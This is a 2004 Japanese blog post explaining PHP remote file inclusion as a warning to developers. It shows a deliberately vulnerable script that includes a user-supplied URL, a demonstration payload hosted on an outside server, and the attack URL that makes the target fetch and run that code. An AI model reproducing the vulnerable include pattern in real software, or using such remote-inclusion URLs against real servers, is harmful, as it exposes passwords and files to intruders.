毒電波Chu!: PHPコワイ

気の向くままに書いていっています。

<<HomePage
Recent
ルアクコーヒー
ギガゾンビ
K's
世界で一番バカな旅人
リング
ウィンナー
シムシテー
不思議遊戯は堺女子高
チャック大開放デー
爺めいる
Archives

RSS2.0
ATOM
Thanks
Powered by Blogger Weblog Commenting and Trackback by HaloScan.com FeedBurner.com Logo 人気ブログランキング
BS blog Ranking
BlogPeople
12/29/2004
最近phpの脆弱性を利用したウイルスが流行ってるといいます。

それはincludeやrequireを利用しているのですが、かなり簡単に出来ます。

例えばこんなファイルがあったとします。
--------kiken.php--------
<?php

$file = $_GET{'file'};
include $file;

?>
-------------------------

includeで外部から来た引数のURLを開いています。
もうこれでアウトです。

こんなファイルを自分のサーバーに設置します。
これは自分のファイルを読み込んで表示するという簡単なコードです。
---------scr.txt----------
<?php

$php = $_SERVER['SCRIPT_FILENAME'];

$fp = fopen($php,"r");
$str = fread($fp,filesize($php));
fclose($fp);

echo "Hacked<br /><br />";
echo nl2br(htmlspecialchars($str));

?>
-------------------------

そして先ほどのphpファイルにこのファイルのURLを引数として渡します。
http://hoge/kiken.php?file=http://null.ifdef.jp/scr.txt
これで以下の様に表示されます。

Hacked

<?php

$file = $_GET{'file'};
include $file;

?>

これを悪用した場合、php内に書かれたパスワードや、その他のファイルなど全て覗き見されてしまいます。phpでできることが全て出来るといっても差し支えありません。
インタープリタ言語によくある脆弱性ですね。まあ暇な人は試してみてください。

というわけで、includeとrequireは気をつけて使いましょう。